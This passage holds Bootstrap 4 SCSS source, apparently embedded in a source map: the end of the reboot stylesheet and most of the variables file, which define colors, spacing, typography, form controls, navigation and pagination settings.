8+ and Safari 8+.\n\n  @include hover {\n    color: $link-hover-color;\n    text-decoration: $link-hover-decoration;\n  }\n}\n\n// And undo these styles for placeholder links/named anchors (without href)\n// which have not been made explicitly keyboard-focusable (without tabindex).\n// It would be more straightforward to just use a[href] in previous block, but that\n// causes specificity issues in many other styles that are too complex to fix.\n// See https://github.com/twbs/bootstrap/issues/19402\n\na:not([href]):not([tabindex]) {\n  color: inherit;\n  text-decoration: none;\n\n  @include hover-focus {\n    color: inherit;\n    text-decoration: none;\n  }\n\n  &:focus {\n    outline: 0;\n  }\n}\n\n\n//\n// Code\n//\n\n// stylelint-disable font-family-no-duplicate-names\npre,\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace; // Correct the inheritance and scaling of font size in all browsers.\n  font-size: 1em; // Correct the odd `em` font sizing in all browsers.\n}\n// stylelint-enable font-family-no-duplicate-names\n\npre {\n  // Remove browser default top margin\n  margin-top: 0;\n  // Reset browser default of `1em` to use `rem`s\n  margin-bottom: 1rem;\n  // Don't allow content to break outside\n  overflow: auto;\n  // We have @viewport set which causes scrollbars to overlap content in IE11 and Edge, so\n  // we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n  -ms-overflow-style: scrollbar;\n}\n\n\n//\n// Figures\n//\n\nfigure {\n  // Apply a consistent margin strategy (matches our type styles).\n  margin: 0 0 1rem;\n}\n\n\n//\n// Images and content\n//\n\nimg {\n  vertical-align: middle;\n  border-style: none; // Remove the border on images inside links in IE 10-.\n}\n\nsvg:not(:root) {\n  overflow: hidden; // Hide the overflow in IE\n}\n\n\n//\n// Tables\n//\n\ntable {\n  border-collapse: collapse; // Prevent double borders\n}\n\ncaption {\n  padding-top: $table-cell-padding;\n  padding-bottom: $table-cell-padding;\n  color: $table-caption-color;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  // Matches default `<td>` alignment by inheriting from the `<body>`, or the\n  // closest parent with a set `text-align`.\n  text-align: inherit;\n}\n\n\n//\n// Forms\n//\n\nlabel {\n  // Allow labels to use `margin` for spacing.\n  display: inline-block;\n  margin-bottom: $label-margin-bottom;\n}\n\n// Remove the default `border-radius` that macOS Chrome adds.\n//\n// Details at https://github.com/twbs/bootstrap/issues/24093\nbutton {\n  border-radius: 0;\n}\n\n// Work around a Firefox/IE bug where the transparent `button` background\n// results in a loss of the default `button` focus styles.\n//\n// Credit: https://github.com/suitcss/base/\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0; // Remove the margin in Firefox and Safari\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible; // Show the overflow in Edge\n}\n\nbutton,\nselect {\n  text-transform: none; // Remove the inheritance of text transform in Firefox\n}\n\n// 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`\n//    controls in Android 4.\n// 2. Correct the inability to style clickable types in iOS and Safari.\nbutton,\nhtml [type=\"button\"], // 1\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button; // 2\n}\n\n// Remove inner border and padding from Firefox, but don't restore the outline like Normalize.\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  box-sizing: border-box; // 1. Add the correct box sizing in IE 10-\n  padding: 0; // 2. Remove the padding in IE 10-\n}\n\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  // Remove the default appearance of temporal inputs to avoid a Mobile Safari\n  // bug where setting a custom line-height prevents text from being vertically\n  // centered within the input.\n  // See https://bugs.webkit.org/show_bug.cgi?id=139848\n  // and https://github.com/twbs/bootstrap/issues/11266\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto; // Remove the default vertical scrollbar in IE.\n  // Textareas should really only resize vertically so they don't break their (horizontal) containers.\n  resize: vertical;\n}\n\nfieldset {\n  // Browsers set a default `min-width: min-content;` on fieldsets,\n  // unlike e.g. `<div>`s, which have `min-width: 0;` by default.\n  // So we reset that to ensure fieldsets behave more like a standard block element.\n  // See https://github.com/twbs/bootstrap/issues/12359\n  // and https://html.spec.whatwg.org/multipage/#the-fieldset-and-legend-elements\n  min-width: 0;\n  // Reset the default outline behavior of fieldsets so they don't affect page layout.\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\n// 1. Correct the text wrapping in Edge and IE.\n// 2. Correct the color inheritance from `fieldset` elements in IE.\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%; // 1\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit; // 2\n  white-space: normal; // 1\n}\n\nprogress {\n  vertical-align: baseline; // Add the correct vertical alignment in Chrome, Firefox, and Opera.\n}\n\n// Correct the cursor style of increment and decrement buttons in Chrome.\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  // This overrides the extra rounded corners on search inputs in iOS so that our\n  // `.form-control` class can properly style them. Note that this cannot simply\n  // be added to `.form-control` as it's not specific enough. For details, see\n  // https://github.com/twbs/bootstrap/issues/11586.\n  outline-offset: -2px; // 2. Correct the outline style in Safari.\n  -webkit-appearance: none;\n}\n\n//\n// Remove the inner padding and cancel buttons in Chrome and Safari on macOS.\n//\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n//\n// 1. Correct the inability to style clickable types in iOS and Safari.\n// 2. Change font properties to `inherit` in Safari.\n//\n\n::-webkit-file-upload-button {\n  font: inherit; // 2\n  -webkit-appearance: button; // 1\n}\n\n//\n// Correct element displays\n//\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item; // Add the correct display in all browsers\n  cursor: pointer;\n}\n\ntemplate {\n  display: none; // Add the correct display in IE\n}\n\n// Always hide an element with the `hidden` HTML attribute (from PureCSS).\n// Needed for proper display in IE 10-.\n[hidden] {\n  display: none !important;\n}\n","// Variables\n//\n// Variables should follow the `$component-state-property-size` formula for\n// consistent naming. Ex: $nav-link-disabled-color and $modal-content-box-shadow-xs.\n\n\n//\n// Color system\n//\n\n// stylelint-disable\n$white:    #fff !default;\n$gray-100: #f8f9fa !default;\n$gray-200: #e9ecef !default;\n$gray-300: #dee2e6 !default;\n$gray-400: #ced4da !default;\n$gray-500: #adb5bd !default;\n$gray-600: #6c757d !default;\n$gray-700: #495057 !default;\n$gray-800: #343a40 !default;\n$gray-900: #212529 !default;\n$black:    #000 !default;\n\n$grays: () !default;\n$grays: map-merge((\n  \"100\": $gray-100,\n  \"200\": $gray-200,\n  \"300\": $gray-300,\n  \"400\": $gray-400,\n  \"500\": $gray-500,\n  \"600\": $gray-600,\n  \"700\": $gray-700,\n  \"800\": $gray-800,\n  \"900\": $gray-900\n), $grays);\n\n$blue:    #007bff !default;\n$indigo:  #6610f2 !default;\n$purple:  #6f42c1 !default;\n$pink:    #e83e8c !default;\n$red:     #dc3545 !default;\n$orange:  #fd7e14 !default;\n$yellow:  #ffc107 !default;\n$green:   #28a745 !default;\n$teal:    #20c997 !default;\n$cyan:    #17a2b8 !default;\n\n$colors: () !default;\n$colors: map-merge((\n  \"blue\":       $blue,\n  \"indigo\":     $indigo,\n  \"purple\":     $purple,\n  \"pink\":       $pink,\n  \"red\":        $red,\n  \"orange\":     $orange,\n  \"yellow\":     $yellow,\n  \"green\":      $green,\n  \"teal\":       $teal,\n  \"cyan\":       $cyan,\n  \"white\":      $white,\n  \"gray\":       $gray-600,\n  \"gray-dark\":  $gray-800\n), $colors);\n\n$primary:       $blue !default;\n$secondary:     $gray-600 !default;\n$success:       $green !default;\n$info:          $cyan !default;\n$warning:       $yellow !default;\n$danger:        $red !default;\n$light:         $gray-100 !default;\n$dark:          $gray-800 !default;\n\n$theme-colors: () !default;\n$theme-colors: map-merge((\n  \"primary\":    $primary,\n  \"secondary\":  $secondary,\n  \"success\":    $success,\n  \"info\":       $info,\n  \"warning\":    $warning,\n  \"danger\":     $danger,\n  \"light\":      $light,\n  \"dark\":       $dark\n), $theme-colors);\n// stylelint-enable\n\n// Set a specific jump point for requesting color jumps\n$theme-color-interval:      8% !default;\n\n// The yiq lightness value that determines when the lightness of color changes from \"dark\" to \"light\". Acceptable values are between 0 and 255.\n$yiq-contrasted-threshold:  150 !default;\n\n// Customize the light and dark text colors for use in our YIQ color contrast function.\n$yiq-text-dark:             $gray-900 !default;\n$yiq-text-light:            $white !default;\n\n// Options\n//\n// Quickly modify global styling by enabling or disabling optional features.\n\n$enable-caret:              true !default;\n$enable-rounded:            true !default;\n$enable-shadows:            false !default;\n$enable-gradients:          false !default;\n$enable-transitions:        true !default;\n$enable-hover-media-query:  false !default; // Deprecated, no longer affects any compiled CSS\n$enable-grid-classes:       true !default;\n$enable-print-styles:       true !default;\n\n\n// Spacing\n//\n// Control the default styling of most Bootstrap elements by modifying these\n// variables. Mostly focused on spacing.\n// You can add more entries to the $spacers map, should you need more variation.\n\n// stylelint-disable\n$spacer: 1rem !default;\n$spacers: () !default;\n$spacers: map-merge((\n  0: 0,\n  1: ($spacer * .25),\n  2: ($spacer * .5),\n  3: $spacer,\n  4: ($spacer * 1.5),\n  5: ($spacer * 3)\n), $spacers);\n\n// This variable affects the `.h-*` and `.w-*` classes.\n$sizes: () !default;\n$sizes: map-merge((\n  25: 25%,\n  50: 50%,\n  75: 75%,\n  100: 100%,\n  auto: auto\n), $sizes);\n// stylelint-enable\n\n// Body\n//\n// Settings for the `<body>` element.\n\n$body-bg:                   $white !default;\n$body-color:                $gray-900 !default;\n\n// Links\n//\n// Style anchor elements.\n\n$link-color:                theme-color(\"primary\") !default;\n$link-decoration:           none !default;\n$link-hover-color:          darken($link-color, 15%) !default;\n$link-hover-decoration:     underline !default;\n\n// Paragraphs\n//\n// Style p element.\n\n$paragraph-margin-bottom:   1rem !default;\n\n\n// Grid breakpoints\n//\n// Define the minimum dimensions at which your layout will change,\n// adapting to different screen sizes, for use in media queries.\n\n$grid-breakpoints: (\n  xs: 0,\n  sm: 576px,\n  md: 768px,\n  lg: 992px,\n  xl: 1200px\n) !default;\n\n@include _assert-ascending($grid-breakpoints, \"$grid-breakpoints\");\n@include _assert-starts-at-zero($grid-breakpoints);\n\n\n// Grid containers\n//\n// Define the maximum width of `.container` for different screen sizes.\n\n$container-max-widths: (\n  sm: 540px,\n  md: 720px,\n  lg: 960px,\n  xl: 1140px\n) !default;\n\n@include _assert-ascending($container-max-widths, \"$container-max-widths\");\n\n\n// Grid columns\n//\n// Set the number of columns and specify the width of the gutters.\n\n$grid-columns:                12 !default;\n$grid-gutter-width:           30px !default;\n\n// Components\n//\n// Define common padding and border radius sizes and more.\n\n$line-height-lg:              1.5 !default;\n$line-height-sm:              1.5 !default;\n\n$border-width:                1px !default;\n$border-color:                $gray-300 !default;\n\n$border-radius:               .25rem !default;\n$border-radius-lg:            .3rem !default;\n$border-radius-sm:            .2rem !default;\n\n$box-shadow-sm:               0 .125rem .25rem rgba($black, .075) !default;\n$box-shadow:                  0 .5rem 1rem rgba($black, .15) !default;\n$box-shadow-lg:               0 1rem 3rem rgba($black, .175) !default;\n\n$component-active-color:      $white !default;\n$component-active-bg:         theme-color(\"primary\") !default;\n\n$caret-width:                 .3em !default;\n\n$transition-base:             all .2s ease-in-out !default;\n$transition-fade:             opacity .15s linear !default;\n$transition-collapse:         height .35s ease !default;\n\n\n// Fonts\n//\n// Font, line-height, and color for body text, headings, and more.\n\n// stylelint-disable value-keyword-case\n$font-family-sans-serif:      -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\" !default;\n$font-family-monospace:       SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace !default;\n$font-family-base:            $font-family-sans-serif !default;\n// stylelint-enable value-keyword-case\n\n$font-size-base:              1rem !default; // Assumes the browser default, typically `16px`\n$font-size-lg:                ($font-size-base * 1.25) !default;\n$font-size-sm:                ($font-size-base * .875) !default;\n\n$font-weight-light:           300 !default;\n$font-weight-normal:          400 !default;\n$font-weight-bold:            700 !default;\n\n$font-weight-base:            $font-weight-normal !default;\n$line-height-base:            1.5 !default;\n\n$h1-font-size:                $font-size-base * 2.5 !default;\n$h2-font-size:                $font-size-base * 2 !default;\n$h3-font-size:                $font-size-base * 1.75 !default;\n$h4-font-size:                $font-size-base * 1.5 !default;\n$h5-font-size:                $font-size-base * 1.25 !default;\n$h6-font-size:                $font-size-base !default;\n\n$headings-margin-bottom:      ($spacer / 2) !default;\n$headings-font-family:        inherit !default;\n$headings-font-weight:        500 !default;\n$headings-line-height:        1.2 !default;\n$headings-color:              inherit !default;\n\n$display1-size:               6rem !default;\n$display2-size:               5.5rem !default;\n$display3-size:               4.5rem !default;\n$display4-size:               3.5rem !default;\n\n$display1-weight:             300 !default;\n$display2-weight:             300 !default;\n$display3-weight:             300 !default;\n$display4-weight:             300 !default;\n$display-line-height:         $headings-line-height !default;\n\n$lead-font-size:              ($font-size-base * 1.25) !default;\n$lead-font-weight:            300 !default;\n\n$small-font-size:             80% !default;\n\n$text-muted:                  $gray-600 !default;\n\n$blockquote-small-color:      $gray-600 !default;\n$blockquote-font-size:        ($font-size-base * 1.25) !default;\n\n$hr-border-color:             rgba($black, .1) !default;\n$hr-border-width:             $border-width !default;\n\n$mark-padding:                .2em !default;\n\n$dt-font-weight:              $font-weight-bold !default;\n\n$kbd-box-shadow:              inset 0 -.1rem 0 rgba($black, .25) !default;\n$nested-kbd-font-weight:      $font-weight-bold !default;\n\n$list-inline-padding:         .5rem !default;\n\n$mark-bg:                     #fcf8e3 !default;\n\n$hr-margin-y:                 $spacer !default;\n\n\n// Tables\n//\n// Customizes the `.table` component with basic values, each used across all table variations.\n\n$table-cell-padding:          .75rem !default;\n$table-cell-padding-sm:       .3rem !default;\n\n$table-bg:                    transparent !default;\n$table-accent-bg:             rgba($black, .05) !default;\n$table-hover-bg:              rgba($black, .075) !default;\n$table-active-bg:             $table-hover-bg !default;\n\n$table-border-width:          $border-width !default;\n$table-border-color:          $gray-300 !default;\n\n$table-head-bg:               $gray-200 !default;\n$table-head-color:            $gray-700 !default;\n\n$table-dark-bg:               $gray-900 !default;\n$table-dark-accent-bg:        rgba($white, .05) !default;\n$table-dark-hover-bg:         rgba($white, .075) !default;\n$table-dark-border-color:     lighten($gray-900, 7.5%) !default;\n$table-dark-color:            $body-bg !default;\n\n$table-striped-order:         odd !default;\n\n$table-caption-color:         $text-muted !default;\n\n// Buttons + Forms\n//\n// Shared variables that are reassigned to `$input-` and `$btn-` specific variables.\n\n$input-btn-padding-y:         .375rem !default;\n$input-btn-padding-x:         .75rem !default;\n$input-btn-line-height:       $line-height-base !default;\n\n$input-btn-focus-width:       .2rem !default;\n$input-btn-focus-color:       rgba($component-active-bg, .25) !default;\n$input-btn-focus-box-shadow:  0 0 0 $input-btn-focus-width $input-btn-focus-color !default;\n\n$input-btn-padding-y-sm:      .25rem !default;\n$input-btn-padding-x-sm:      .5rem !default;\n$input-btn-line-height-sm:    $line-height-sm !default;\n\n$input-btn-padding-y-lg:      .5rem !default;\n$input-btn-padding-x-lg:      1rem !default;\n$input-btn-line-height-lg:    $line-height-lg !default;\n\n$input-btn-border-width:      $border-width !default;\n\n\n// Buttons\n//\n// For each of Bootstrap's buttons, define text, background, and border color.\n\n$btn-padding-y:               $input-btn-padding-y !default;\n$btn-padding-x:               $input-btn-padding-x !default;\n$btn-line-height:             $input-btn-line-height !default;\n\n$btn-padding-y-sm:            $input-btn-padding-y-sm !default;\n$btn-padding-x-sm:            $input-btn-padding-x-sm !default;\n$btn-line-height-sm:          $input-btn-line-height-sm !default;\n\n$btn-padding-y-lg:            $input-btn-padding-y-lg !default;\n$btn-padding-x-lg:            $input-btn-padding-x-lg !default;\n$btn-line-height-lg:          $input-btn-line-height-lg !default;\n\n$btn-border-width:            $input-btn-border-width !default;\n\n$btn-font-weight:             $font-weight-normal !default;\n$btn-box-shadow:              inset 0 1px 0 rgba($white, .15), 0 1px 1px rgba($black, .075) !default;\n$btn-focus-width:             $input-btn-focus-width !default;\n$btn-focus-box-shadow:        $input-btn-focus-box-shadow !default;\n$btn-disabled-opacity:        .65 !default;\n$btn-active-box-shadow:       inset 0 3px 5px rgba($black, .125) !default;\n\n$btn-link-disabled-color:     $gray-600 !default;\n\n$btn-block-spacing-y:         .5rem !default;\n\n// Allows for customizing button radius independently from global border radius\n$btn-border-radius:           $border-radius !default;\n$btn-border-radius-lg:        $border-radius-lg !default;\n$btn-border-radius-sm:        $border-radius-sm !default;\n\n$btn-transition:              color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n\n// Forms\n\n$label-margin-bottom:                   .5rem !default;\n\n$input-padding-y:                       $input-btn-padding-y !default;\n$input-padding-x:                       $input-btn-padding-x !default;\n$input-line-height:                     $input-btn-line-height !default;\n\n$input-padding-y-sm:                    $input-btn-padding-y-sm !default;\n$input-padding-x-sm:                    $input-btn-padding-x-sm !default;\n$input-line-height-sm:                  $input-btn-line-height-sm !default;\n\n$input-padding-y-lg:                    $input-btn-padding-y-lg !default;\n$input-padding-x-lg:                    $input-btn-padding-x-lg !default;\n$input-line-height-lg:                  $input-btn-line-height-lg !default;\n\n$input-bg:                              $white !default;\n$input-disabled-bg:                     $gray-200 !default;\n\n$input-color:                           $gray-700 !default;\n$input-border-color:                    $gray-400 !default;\n$input-border-width:                    $input-btn-border-width !default;\n$input-box-shadow:                      inset 0 1px 1px rgba($black, .075) !default;\n\n$input-border-radius:                   $border-radius !default;\n$input-border-radius-lg:                $border-radius-lg !default;\n$input-border-radius-sm:                $border-radius-sm !default;\n\n$input-focus-bg:                        $input-bg !default;\n$input-focus-border-color:              lighten($component-active-bg, 25%) !default;\n$input-focus-color:                     $input-color !default;\n$input-focus-width:                     $input-btn-focus-width !default;\n$input-focus-box-shadow:                $input-btn-focus-box-shadow !default;\n\n$input-placeholder-color:               $gray-600 !default;\n$input-plaintext-color:                 $body-color !default;\n\n$input-height-border:                   $input-border-width * 2 !default;\n\n$input-height-inner:                    ($font-size-base * $input-btn-line-height) + ($input-btn-padding-y * 2) !default;\n$input-height:                          calc(#{$input-height-inner} + #{$input-height-border}) !default;\n\n$input-height-inner-sm:                 ($font-size-sm * $input-btn-line-height-sm) + ($input-btn-padding-y-sm * 2) !default;\n$input-height-sm:                       calc(#{$input-height-inner-sm} + #{$input-height-border}) !default;\n\n$input-height-inner-lg:                 ($font-size-lg * $input-btn-line-height-lg) + ($input-btn-padding-y-lg * 2) !default;\n$input-height-lg:                       calc(#{$input-height-inner-lg} + #{$input-height-border}) !default;\n\n$input-transition:                      border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n$form-text-margin-top:                  .25rem !default;\n\n$form-check-input-gutter:               1.25rem !default;\n$form-check-input-margin-y:             .3rem !default;\n$form-check-input-margin-x:             .25rem !default;\n\n$form-check-inline-margin-x:            .75rem !default;\n$form-check-inline-input-margin-x:      .3125rem !default;\n\n$form-group-margin-bottom:              1rem !default;\n\n$input-group-addon-color:               $input-color !default;\n$input-group-addon-bg:                  $gray-200 !default;\n$input-group-addon-border-color:        $input-border-color !default;\n\n$custom-control-gutter:                 1.5rem !default;\n$custom-control-spacer-x:               1rem !default;\n\n$custom-control-indicator-size:         1rem !default;\n$custom-control-indicator-bg:           $gray-300 !default;\n$custom-control-indicator-bg-size:      50% 50% !default;\n$custom-control-indicator-box-shadow:   inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-control-indicator-disabled-bg:          $gray-200 !default;\n$custom-control-label-disabled-color:           $gray-600 !default;\n\n$custom-control-indicator-checked-color:        $component-active-color !default;\n$custom-control-indicator-checked-bg:           $component-active-bg !default;\n$custom-control-indicator-checked-disabled-bg:  rgba(theme-color(\"primary\"), .5) !default;\n$custom-control-indicator-checked-box-shadow:   none !default;\n\n$custom-control-indicator-focus-box-shadow:     0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n\n$custom-control-indicator-active-color:         $component-active-color !default;\n$custom-control-indicator-active-bg:            lighten($component-active-bg, 35%) !default;\n$custom-control-indicator-active-box-shadow:    none !default;\n\n$custom-checkbox-indicator-border-radius:       $border-radius !default;\n$custom-checkbox-indicator-icon-checked:        str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='#{$custom-control-indicator-checked-color}' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-checkbox-indicator-indeterminate-bg:          $component-active-bg !default;\n$custom-checkbox-indicator-indeterminate-color:       $custom-control-indicator-checked-color !default;\n$custom-checkbox-indicator-icon-indeterminate:        str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='#{$custom-checkbox-indicator-indeterminate-color}' d='M0 2h4'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-checkbox-indicator-indeterminate-box-shadow:  none !default;\n\n$custom-radio-indicator-border-radius:          50% !default;\n$custom-radio-indicator-icon-checked:           str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='#{$custom-control-indicator-checked-color}'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-select-padding-y:           .375rem !default;\n$custom-select-padding-x:           .75rem !default;\n$custom-select-height:              $input-height !default;\n$custom-select-indicator-padding:   1rem !default; // Extra padding to account for the presence of the background-image based indicator\n$custom-select-line-height:         $input-btn-line-height !default;\n$custom-select-color:               $input-color !default;\n$custom-select-disabled-color:      $gray-600 !default;\n$custom-select-bg:                  $input-bg !default;\n$custom-select-disabled-bg:         $gray-200 !default;\n$custom-select-bg-size:             8px 10px !default; // In pixels because image dimensions\n$custom-select-indicator-color:     $gray-800 !default;\n$custom-select-indicator:           str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='#{$custom-select-indicator-color}' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-select-border-width:        $input-btn-border-width !default;\n$custom-select-border-color:        $input-border-color !default;\n$custom-select-border-radius:       $border-radius !default;\n\n$custom-select-focus-border-color:  $input-focus-border-color !default;\n$custom-select-focus-box-shadow:    inset 0 1px 2px rgba($black, .075), 0 0 5px rgba($custom-select-focus-border-color, .5) !default;\n\n$custom-select-font-size-sm:        75% !default;\n$custom-select-height-sm:           $input-height-sm !default;\n\n$custom-select-font-size-lg:        125% !default;\n$custom-select-height-lg:           $input-height-lg !default;\n\n$custom-range-track-width:          100% !default;\n$custom-range-track-height:         .5rem !default;\n$custom-range-track-cursor:         pointer !default;\n$custom-range-track-bg:             $gray-300 !default;\n$custom-range-track-border-radius:  1rem !default;\n$custom-range-track-box-shadow:     inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-range-thumb-width:            1rem !default;\n$custom-range-thumb-height:           $custom-range-thumb-width !default;\n$custom-range-thumb-bg:               $component-active-bg !default;\n$custom-range-thumb-border:           0 !default;\n$custom-range-thumb-border-radius:    1rem !default;\n$custom-range-thumb-box-shadow:       0 .1rem .25rem rgba($black, .1) !default;\n$custom-range-thumb-focus-box-shadow: 0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n$custom-range-thumb-active-bg:        lighten($component-active-bg, 35%) !default;\n\n$custom-file-height:                $input-height !default;\n$custom-file-focus-border-color:    $input-focus-border-color !default;\n$custom-file-focus-box-shadow:      $input-btn-focus-box-shadow !default;\n\n$custom-file-padding-y:             $input-btn-padding-y !default;\n$custom-file-padding-x:             $input-btn-padding-x !default;\n$custom-file-line-height:           $input-btn-line-height !default;\n$custom-file-color:                 $input-color !default;\n$custom-file-bg:                    $input-bg !default;\n$custom-file-border-width:          $input-btn-border-width !default;\n$custom-file-border-color:          $input-border-color !default;\n$custom-file-border-radius:         $input-border-radius !default;\n$custom-file-box-shadow:            $input-box-shadow !default;\n$custom-file-button-color:          $custom-file-color !default;\n$custom-file-button-bg:             $input-group-addon-bg !default;\n$custom-file-text: (\n  en: \"Browse\"\n) !default;\n\n\n// Form validation\n$form-feedback-margin-top:          $form-text-margin-top !default;\n$form-feedback-font-size:           $small-font-size !default;\n$form-feedback-valid-color:         theme-color(\"success\") !default;\n$form-feedback-invalid-color:       theme-color(\"danger\") !default;\n\n\n// Dropdowns\n//\n// Dropdown menu container and contents.\n\n$dropdown-min-width:                10rem !default;\n$dropdown-padding-y:                .5rem !default;\n$dropdown-spacer:                   .125rem !default;\n$dropdown-bg:                       $white !default;\n$dropdown-border-color:             rgba($black, .15) !default;\n$dropdown-border-radius:            $border-radius !default;\n$dropdown-border-width:             $border-width !default;\n$dropdown-divider-bg:               $gray-200 !default;\n$dropdown-box-shadow:               0 .5rem 1rem rgba($black, .175) !default;\n\n$dropdown-link-color:               $gray-900 !default;\n$dropdown-link-hover-color:         darken($gray-900, 5%) !default;\n$dropdown-link-hover-bg:            $gray-100 !default;\n\n$dropdown-link-active-color:        $component-active-color !default;\n$dropdown-link-active-bg:           $component-active-bg !default;\n\n$dropdown-link-disabled-color:      $gray-600 !default;\n\n$dropdown-item-padding-y:           .25rem !default;\n$dropdown-item-padding-x:           1.5rem !default;\n\n$dropdown-header-color:             $gray-600 !default;\n\n\n// Z-index master list\n//\n// Warning: Avoid customizing these values. They're used for a bird's eye view\n// of components dependent on the z-axis and are designed to all work together.\n\n$zindex-dropdown:                   1000 !default;\n$zindex-sticky:                     1020 !default;\n$zindex-fixed:                      1030 !default;\n$zindex-modal-backdrop:             1040 !default;\n$zindex-modal:                      1050 !default;\n$zindex-popover:                    1060 !default;\n$zindex-tooltip:                    1070 !default;\n\n// Navs\n\n$nav-link-padding-y:                .5rem !default;\n$nav-link-padding-x:                1rem !default;\n$nav-link-disabled-color:           $gray-600 !default;\n\n$nav-tabs-border-color:             $gray-300 !default;\n$nav-tabs-border-width:             $border-width !default;\n$nav-tabs-border-radius:            $border-radius !default;\n$nav-tabs-link-hover-border-color:  $gray-200 $gray-200 $nav-tabs-border-color !default;\n$nav-tabs-link-active-color:        $gray-700 !default;\n$nav-tabs-link-active-bg:           $body-bg !default;\n$nav-tabs-link-active-border-color: $gray-300 $gray-300 $nav-tabs-link-active-bg !default;\n\n$nav-pills-border-radius:           $border-radius !default;\n$nav-pills-link-active-color:       $component-active-color !default;\n$nav-pills-link-active-bg:          $component-active-bg !default;\n\n$nav-divider-color:                 $gray-200 !default;\n$nav-divider-margin-y:              ($spacer / 2) !default;\n\n// Navbar\n\n$navbar-padding-y:                  ($spacer / 2) !default;\n$navbar-padding-x:                  $spacer !default;\n\n$navbar-nav-link-padding-x:         .5rem !default;\n\n$navbar-brand-font-size:            $font-size-lg !default;\n// Compute the navbar-brand padding-y so the navbar-brand will have the same height as navbar-text and nav-link\n$nav-link-height:                   ($font-size-base * $line-height-base + $nav-link-padding-y * 2) !default;\n$navbar-brand-height:               $navbar-brand-font-size * $line-height-base !default;\n$navbar-brand-padding-y:            ($nav-link-height - $navbar-brand-height) / 2 !default;\n\n$navbar-toggler-padding-y:          .25rem !default;\n$navbar-toggler-padding-x:          .75rem !default;\n$navbar-toggler-font-size:          $font-size-lg !default;\n$navbar-toggler-border-radius:      $btn-border-radius !default;\n\n$navbar-dark-color:                 rgba($white, .5) !default;\n$navbar-dark-hover-color:           rgba($white, .75) !default;\n$navbar-dark-active-color:          $white !default;\n$navbar-dark-disabled-color:        rgba($white, .25) !default;\n$navbar-dark-toggler-icon-bg:       str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-dark-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-dark-toggler-border-color:  rgba($white, .1) !default;\n\n$navbar-light-color:                rgba($black, .5) !default;\n$navbar-light-hover-color:          rgba($black, .7) !default;\n$navbar-light-active-color:         rgba($black, .9) !default;\n$navbar-light-disabled-color:       rgba($black, .3) !default;\n$navbar-light-toggler-icon-bg:      str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-light-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-light-toggler-border-color: rgba($black, .1) !default;\n\n// Pagination\n\n$pagination-padding-y:              .5rem !default;\n$pagination-padding-x:              .75rem !default;\n$pagination-padding-y-sm:           .25rem !default;\n$pagination-padding-x-sm:           .5rem !default;\n$pagination-padding-y-lg:           .75rem !default;\n$pagination-padding-x-lg:           1.5rem !default;\n$pagination-line-height:            1.25 